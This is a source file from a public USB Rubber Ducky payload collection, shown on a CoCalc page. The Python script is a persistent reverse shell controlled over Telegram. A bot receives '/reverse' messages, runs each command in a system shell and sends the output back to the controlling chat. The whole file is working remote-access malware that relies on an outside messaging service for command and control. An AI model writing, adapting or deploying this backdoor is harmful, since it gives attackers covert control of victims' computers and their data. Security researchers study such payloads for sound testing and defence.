Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Persistent_Reverse_Shell-Telegram_Based/connection.py
2971 views
1
from telebot import TeleBot, types
2
import subprocess
3
4
# Set here the Telegram bot token
5
BOT_TOKEN = ""
6
bot = TeleBot(BOT_TOKEN)
7
8
commands = [
9
types.BotCommand("/reverse", "/reverse <shell_command>")
10
]
11
12
bot.set_my_commands(commands=commands)
13
14
@bot.message_handler(commands=['reverse'])
15
def reverse_shell(message):
16
command = extract_command(message.text)
17
if command != "":
18
print(f"Command received: {command}")
19
out = run_command(command)
20
if len(out) > 1000:
21
bot.reply_to(message, "Message too long...")
22
chunk_size = 1000
23
for i in range(0, len(out), chunk_size):
24
bot.send_message(message.chat.id, out[i:i+chunk_size])
25
else:
26
bot.reply_to(message, out)
27
28
def extract_command(message):
29
command_prefix = "/reverse"
30
if message.startswith(command_prefix):
31
return message[len(command_prefix):].strip()
32
else:
33
return None
34
35
def run_command(command):
36
try:
37
result = subprocess.check_output(command, shell=True, text=True)
38
return result.strip()
39
except subprocess.CalledProcessError as e:
40
return f"Some error: {e}"
41
42
43
bot.infinity_polling()
44
45